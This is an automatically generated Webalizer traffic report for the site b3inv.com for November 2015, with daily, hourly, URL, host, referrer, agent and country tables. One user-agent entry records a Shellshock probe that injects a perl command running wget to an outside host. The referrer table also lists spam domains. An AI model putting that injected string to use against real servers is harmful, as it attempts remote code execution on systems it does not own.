Usage Statistics for b3inv.com

Summary Period: November 2015
Generated 01-Dec-2015 03:40 EST

[Daily Statistics] [Hourly Statistics] [URLs] [Entry] [Exit] [Sites] [Referrers] [Search] [Agents] [Countries]

Monthly Statistics for November 2015
Total Hits 2583
Total Files 2234
Total Pages 2261
Total Visits 1857
Total KBytes 15515
Total Unique Sites 404
Total Unique URLs 16
Total Unique Referrers 197
Total Unique User Agents 203
. Avg Max
Hits per Hour 3 23
Hits per Day 86 191
Files per Day 74 162
Pages per Day 75 164
Sites per Day 13 73
Visits per Day 61 112
KBytes per Day 517 1304
Hits by Response Code
Code 200 - OK 86.49% 2234
Code 304 - Not Modified 0.19% 5
Code 400 - Bad Request 0.50% 13
Code 403 - Forbidden 0.04% 1
Code 404 - Not Found 12.23% 316
Code 405 - Method Not Allowed 0.43% 11
Code 500 - Internal Server Error 0.08% 2
Code 501 - Not Implemented 0.04% 1

Daily usage for November 2015

Daily Statistics for November 2015
Day Hits Files Pages Visits Sites KBytes
1 146 5.65% 99 4.43% 127 5.62% 58 3.12% 43 10.64% 714 4.60%
2 73 2.83% 69 3.09% 53 2.34% 49 2.64% 37 9.16% 374 2.41%
3 61 2.36% 58 2.60% 58 2.57% 48 2.58% 42 10.40% 449 2.89%
4 103 3.99% 87 3.89% 87 3.85% 71 3.82% 64 15.84% 669 4.31%
5 78 3.02% 61 2.73% 62 2.74% 54 2.91% 44 10.89% 386 2.49%
6 87 3.37% 71 3.18% 73 3.23% 54 2.91% 43 10.64% 437 2.82%
7 65 2.52% 61 2.73% 63 2.79% 55 2.96% 42 10.40% 334 2.16%
8 57 2.21% 57 2.55% 56 2.48% 48 2.58% 31 7.67% 307 1.98%
9 57 2.21% 54 2.42% 46 2.03% 45 2.42% 35 8.66% 282 1.82%
10 68 2.63% 58 2.60% 56 2.48% 54 2.91% 44 10.89% 327 2.10%
11 60 2.32% 54 2.42% 54 2.39% 54 2.91% 46 11.39% 301 1.94%
12 61 2.36% 55 2.46% 57 2.52% 55 2.96% 44 10.89% 307 1.98%
13 59 2.28% 49 2.19% 50 2.21% 49 2.64% 39 9.65% 272 1.75%
14 57 2.21% 55 2.46% 55 2.43% 53 2.85% 40 9.90% 307 1.98%
15 56 2.17% 53 2.37% 54 2.39% 52 2.80% 37 9.16% 281 1.81%
16 88 3.41% 67 3.00% 76 3.36% 69 3.72% 57 14.11% 482 3.10%
17 53 2.05% 49 2.19% 50 2.21% 49 2.64% 41 10.15% 267 1.72%
18 56 2.17% 52 2.33% 53 2.34% 53 2.85% 39 9.65% 286 1.84%
19 113 4.37% 103 4.61% 100 4.42% 65 3.50% 49 12.13% 843 5.43%
20 191 7.39% 162 7.25% 164 7.25% 99 5.33% 73 18.07% 1304 8.41%
21 77 2.98% 69 3.09% 70 3.10% 57 3.07% 40 9.90% 459 2.96%
22 79 3.06% 63 2.82% 66 2.92% 58 3.12% 45 11.14% 417 2.69%
23 84 3.25% 78 3.49% 77 3.41% 66 3.55% 48 11.88% 566 3.65%
24 158 6.12% 153 6.85% 146 6.46% 112 6.03% 69 17.08% 1239 7.99%
25 131 5.07% 126 5.64% 128 5.66% 110 5.92% 61 15.10% 1026 6.61%
26 111 4.30% 99 4.43% 99 4.38% 81 4.36% 55 13.61% 781 5.03%
27 91 3.52% 74 3.31% 75 3.32% 61 3.28% 47 11.63% 607 3.91%
28 89 3.45% 57 2.55% 61 2.70% 56 3.02% 50 12.38% 462 2.98%
29 71 2.75% 53 2.37% 55 2.43% 51 2.75% 43 10.64% 329 2.12%
30 103 3.99% 88 3.94% 90 3.98% 71 3.82% 56 13.86% 700 4.51%

Hourly usage for November 2015

Hourly Statistics for November 2015
Hour Hits Files Pages KBytes
Avg Total Avg Total Avg Total Avg Total
0 2 64 2.48% 1 51 2.28% 1 46 2.03% 12 372 2.40%
1 3 117 4.53% 3 98 4.39% 3 98 4.33% 20 613 3.95%
2 2 62 2.40% 1 56 2.51% 1 54 2.39% 12 365 2.35%
3 4 125 4.84% 3 115 5.15% 3 116 5.13% 23 693 4.47%
4 4 121 4.68% 3 109 4.88% 3 109 4.82% 25 755 4.87%
5 3 108 4.18% 2 79 3.54% 3 97 4.29% 18 543 3.50%
6 2 77 2.98% 1 59 2.64% 2 60 2.65% 15 439 2.83%
7 5 150 5.81% 4 141 6.31% 4 141 6.24% 32 947 6.10%
8 3 116 4.49% 3 108 4.83% 3 100 4.42% 24 715 4.61%
9 3 109 4.22% 3 102 4.57% 3 104 4.60% 22 666 4.29%
10 4 124 4.80% 3 111 4.97% 3 111 4.91% 29 878 5.66%
11 3 103 3.99% 3 96 4.30% 3 90 3.98% 21 634 4.09%
12 1 53 2.05% 1 46 2.06% 1 47 2.08% 15 459 2.96%
13 3 91 3.52% 2 75 3.36% 2 83 3.67% 18 543 3.50%
14 2 71 2.75% 2 65 2.91% 2 64 2.83% 20 612 3.95%
15 4 120 4.65% 3 109 4.88% 3 113 5.00% 27 809 5.21%
16 6 187 7.24% 5 167 7.48% 5 157 6.94% 42 1246 8.03%
17 3 97 3.76% 2 76 3.40% 2 77 3.41% 17 506 3.26%
18 3 90 3.48% 2 70 3.13% 2 70 3.10% 17 509 3.28%
19 4 146 5.65% 4 122 5.46% 4 130 5.75% 24 730 4.70%
20 3 94 3.64% 2 87 3.89% 2 87 3.85% 19 584 3.77%
21 3 107 4.14% 3 97 4.34% 3 92 4.07% 20 599 3.86%
22 4 120 4.65% 2 83 3.72% 3 103 4.56% 18 547 3.53%
23 4 131 5.07% 3 112 5.01% 3 112 4.95% 25 751 4.84%

Top 16 of 16 Total URLs
# Hits KBytes URL
1 1542 59.70% 8235 53.08% /
2 611 23.65% 5947 38.33% /webalizer/
3 33 1.28% 285 1.84% /images/ixcp.css
4 7 0.27% 49 0.31% /images/header_logo.gif
5 6 0.23% 0 0.00% /images/0.gif
6 6 0.23% 40 0.26% /images/aff.jpg
7 6 0.23% 1 0.01% /images/ball.gif
8 6 0.23% 1 0.01% /images/grad-title.gif
9 6 0.23% 1 0.00% /images/header_bg.gif
10 6 0.23% 41 0.27% /images/hosted.jpg
11 5 0.19% 532 3.43% /webalizer/usage_201409.html
12 1 0.04% 0 0.00% /icons/apache_pb.gif
13 1 0.04% 0 0.00% /ipc
14 1 0.04% 110 0.71% /webalizer/usage_201510.html
15 1 0.04% 108 0.70% /webalizer/usage_201511.html
16 1 0.04% 5 0.03% /www.ip.cn

Top 10 of 16 Total URLs By KBytes
# Hits KBytes URL
1 1542 59.70% 8235 53.08% /
2 611 23.65% 5947 38.33% /webalizer/
3 5 0.19% 532 3.43% /webalizer/usage_201409.html
4 33 1.28% 285 1.84% /images/ixcp.css
5 1 0.04% 110 0.71% /webalizer/usage_201510.html
6 1 0.04% 108 0.70% /webalizer/usage_201511.html
7 7 0.27% 49 0.31% /images/header_logo.gif
8 6 0.23% 41 0.27% /images/hosted.jpg
9 6 0.23% 40 0.26% /images/aff.jpg
10 1 0.04% 5 0.03% /www.ip.cn

Top 5 of 5 Total Entry Pages
# Hits Visits URL
1 1542 59.70% 1496 82.61% /
2 611 23.65% 308 17.01% /webalizer/
3 5 0.19% 5 0.28% /webalizer/usage_201409.html
4 1 0.04% 1 0.06% /ipc
5 1 0.04% 1 0.06% /webalizer/usage_201510.html

Top 6 of 6 Total Exit Pages
# Hits Visits URL
1 1542 59.70% 1493 82.62% /
2 611 23.65% 306 16.93% /webalizer/
3 5 0.19% 5 0.28% /webalizer/usage_201409.html
4 1 0.04% 1 0.06% /ipc
5 1 0.04% 1 0.06% /webalizer/usage_201510.html
6 1 0.04% 1 0.06% /webalizer/usage_201511.html

Top 30 of 404 Total Sites
# Hits Files KBytes Visits Hostname
1 114 4.41% 114 5.10% 1110 7.15% 38 2.05% 89.19.177.43
2 75 2.90% 75 3.36% 730 4.71% 75 4.04% 193.201.227.51
3 72 2.79% 0 0.00% 35 0.23% 0 0.00% 62-210-88-201.rev.poneytelecom.eu
4 65 2.52% 65 2.91% 633 4.08% 13 0.70% c-46-246-86-157.ip4.frootvpn.com
5 45 1.74% 45 2.01% 438 2.82% 9 0.48% 31.184.238.11
6 36 1.39% 36 1.61% 350 2.26% 36 1.94% 128-68-133-93.broadband.corbina.ru
7 33 1.28% 33 1.48% 321 2.07% 7 0.38% 89.19.178.131
8 32 1.24% 32 1.43% 176 1.14% 31 1.67% baiduspider-180-76-15-137.crawl.baidu.com
9 31 1.20% 29 1.30% 158 1.02% 29 1.56% baiduspider-180-76-15-156.crawl.baidu.com
10 31 1.20% 31 1.39% 168 1.08% 31 1.67% baiduspider-180-76-15-26.crawl.baidu.com
11 30 1.16% 29 1.30% 157 1.01% 29 1.56% baiduspider-180-76-15-138.crawl.baidu.com
12 29 1.12% 29 1.30% 157 1.01% 29 1.56% baiduspider-180-76-15-136.crawl.baidu.com
13 29 1.12% 29 1.30% 157 1.01% 28 1.51% baiduspider-180-76-15-29.crawl.baidu.com
14 28 1.08% 28 1.25% 151 0.98% 28 1.51% baiduspider-180-76-15-19.crawl.baidu.com
15 28 1.08% 26 1.16% 142 0.91% 26 1.40% baiduspider-180-76-15-22.crawl.baidu.com
16 27 1.05% 27 1.21% 146 0.94% 26 1.40% baiduspider-180-76-15-12.crawl.baidu.com
17 27 1.05% 27 1.21% 146 0.94% 25 1.35% baiduspider-180-76-15-145.crawl.baidu.com
18 27 1.05% 26 1.16% 141 0.91% 26 1.40% baiduspider-180-76-15-15.crawl.baidu.com
19 27 1.05% 27 1.21% 146 0.94% 27 1.45% baiduspider-180-76-15-151.crawl.baidu.com
20 26 1.01% 26 1.16% 144 0.93% 24 1.29% baiduspider-180-76-15-135.crawl.baidu.com
21 26 1.01% 26 1.16% 144 0.93% 25 1.35% baiduspider-180-76-15-139.crawl.baidu.com
22 26 1.01% 26 1.16% 141 0.91% 26 1.40% baiduspider-180-76-15-155.crawl.baidu.com
23 26 1.01% 26 1.16% 141 0.91% 26 1.40% baiduspider-180-76-15-161.crawl.baidu.com
24 26 1.01% 26 1.16% 144 0.93% 25 1.35% baiduspider-180-76-15-18.crawl.baidu.com
25 25 0.97% 25 1.12% 135 0.87% 24 1.29% baiduspider-180-76-15-150.crawl.baidu.com
26 25 0.97% 24 1.07% 130 0.84% 24 1.29% baiduspider-180-76-15-152.crawl.baidu.com
27 25 0.97% 25 1.12% 138 0.89% 23 1.24% baiduspider-180-76-15-28.crawl.baidu.com
28 25 0.97% 24 1.07% 130 0.84% 24 1.29% baiduspider-180-76-15-33.crawl.baidu.com
29 24 0.93% 23 1.03% 131 0.85% 21 1.13% baiduspider-180-76-15-157.crawl.baidu.com
30 24 0.93% 22 0.98% 120 0.77% 22 1.18% baiduspider-180-76-15-5.crawl.baidu.com

Top 10 of 404 Total Sites By KBytes
# Hits Files KBytes Visits Hostname
1 114 4.41% 114 5.10% 1110 7.15% 38 2.05% 89.19.177.43
2 75 2.90% 75 3.36% 730 4.71% 75 4.04% 193.201.227.51
3 65 2.52% 65 2.91% 633 4.08% 13 0.70% c-46-246-86-157.ip4.frootvpn.com
4 45 1.74% 45 2.01% 438 2.82% 9 0.48% 31.184.238.11
5 36 1.39% 36 1.61% 350 2.26% 36 1.94% 128-68-133-93.broadband.corbina.ru
6 33 1.28% 33 1.48% 321 2.07% 7 0.38% 89.19.178.131
7 14 0.54% 14 0.63% 180 1.16% 6 0.32% 31.23.48.238
8 32 1.24% 32 1.43% 176 1.14% 31 1.67% baiduspider-180-76-15-137.crawl.baidu.com
9 31 1.20% 31 1.39% 168 1.08% 31 1.67% baiduspider-180-76-15-26.crawl.baidu.com
10 31 1.20% 29 1.30% 158 1.02% 29 1.56% baiduspider-180-76-15-156.crawl.baidu.com

Top 30 of 197 Total Referrers
# Hits Referrer
1 1831 70.89% - (Direct Request)
2 87 3.37% http://www.gorodservis.ru
3 57 2.21% http://www.xolodremont.ru
4 35 1.36% http://enalapril.su
5 34 1.32% http://www.youtube.com/watch
6 28 1.08% http://vika-service.by/
7 20 0.77% http://vipdressirovka.ru/
8 15 0.58% http://detskie-molberty.strikingly.com/
9 14 0.54% http://erseka.com
10 11 0.43% http://vk.com/buy_chokolate_slim
11 10 0.39% http://lj4.us/girls2cams
12 10 0.39% http://tubesx.ru/
13 10 0.39% http://vip-file-xxx.org
14 10 0.39% http://www.browseo.net/
15 10 0.39% http://www.sferazero.com/scalp-psoriasis/
16 8 0.31% http://cubl.ru
17 8 0.31% http://hinoma.ru/site-map
18 6 0.23% http://kamod.biz/
19 5 0.19% http://detskie-molberty.weebly.com/
20 5 0.19% http://jmp.awempire.com/
21 5 0.19% http://nibbler.silktide.com/en_US/reports/carmods.ru
22 5 0.19% http://snegokat-timka-sport-1.strikingly.com/
23 5 0.19% http://vipdressirovka.ru/dressirovka-sobaki-s-pomoshhyu-klikera.html
24 5 0.19% http://vipdressirovka.ru/veterinarnye-uslugi.html
25 5 0.19% http://vipdressirovka.ru/video.html
26 5 0.19% http://www.google.com
27 5 0.19% http://www.sferazero.com/about-psoriasis/
28 5 0.19% http://www.sferazero.com/psoriasis-treatment/
29 5 0.19% http://www.sferazero.com/psoriasis-treatments/
30 5 0.19% http://www.sferazero.com/psoriasis_diet/

Top 1 of 1 Total Search Strings
# Hits Search String
1 1 100.00% b3inv.com

Top 15 of 203 Total User Agents
# Hits User Agent
1 1316 50.95% Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
2 65 2.52% Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0
3 61 2.36% Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
4 43 1.66% Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.101 Safari/537.36
5 43 1.66% Mozilla/5.0 (Windows NT 6.1; rv:37.0) Gecko/20100101 Firefox/37.0
6 40 1.55% () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget -O /dev/null http://www.test
7 36 1.39% Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36
8 26 1.01% Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.101 Safari/537.36
9 26 1.01% Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)
10 23 0.89% Mozilla/5.0 (Windows NT 5.1; rv:6.0.2) Gecko/20100101 Firefox/6.0.2
11 23 0.89% Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.99 Safari/537.36
12 21 0.81% Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
13 20 0.77% Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36
14 19 0.74% Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0
15 18 0.70% Mozilla/5.0 zgrab/0.x

Usage by Country for November 2015

Top 29 of 29 Total Countries
# Hits Files KBytes Country
1 1701 65.85% 1578 70.64% 9328 60.12% Commercial (com)
2 466 18.04% 421 18.85% 4128 26.61% Unresolved/Unknown
3 127 4.92% 119 5.33% 1176 7.58% Russian Federation
4 78 3.02% 2 0.09% 47 0.30% European Union
5 53 2.05% 35 1.57% 216 1.39% Network (net)
6 28 1.08% 28 1.25% 273 1.76% Belarus
7 23 0.89% 8 0.36% 51 0.33% British Indian Ocean Territory
8 21 0.81% 5 0.22% 33 0.22% Educational (edu)
9 20 0.77% 1 0.04% 15 0.09% Generic TLD (info)
10 11 0.43% 10 0.45% 45 0.29% Brazil
11 11 0.43% 11 0.49% 107 0.69% Ukraine
12 9 0.35% 0 0.00% 4 0.03% Poland
13 8 0.31% 1 0.04% 13 0.08% Non-Profit (org)
14 4 0.15% 1 0.04% 7 0.04% Lithuania
15 4 0.15% 0 0.00% 2 0.01% Turkey
16 2 0.08% 2 0.09% 11 0.07% Canada
17 2 0.08% 2 0.09% 5 0.03% Germany
18 2 0.08% 0 0.00% 0 0.00% Kenya
19 2 0.08% 1 0.04% 6 0.04% Seychelles
20 2 0.08% 2 0.09% 11 0.07% United Kingdom
21 1 0.04% 1 0.04% 5 0.03% United Arab Emirates
22 1 0.04% 1 0.04% 5 0.03% Belgium
23 1 0.04% 0 0.00% 0 0.00% Czech Republic
24 1 0.04% 1 0.04% 5 0.03% Denmark
25 1 0.04% 1 0.04% 5 0.03% Indonesia
26 1 0.04% 1 0.04% 0 0.00% India
27 1 0.04% 0 0.00% 0 0.00% Italy
28 1 0.04% 1 0.04% 5 0.03% Sweden
29 1 0.04% 1 0.04% 10 0.06% South Africa


Generated by Webalizer Version 2.20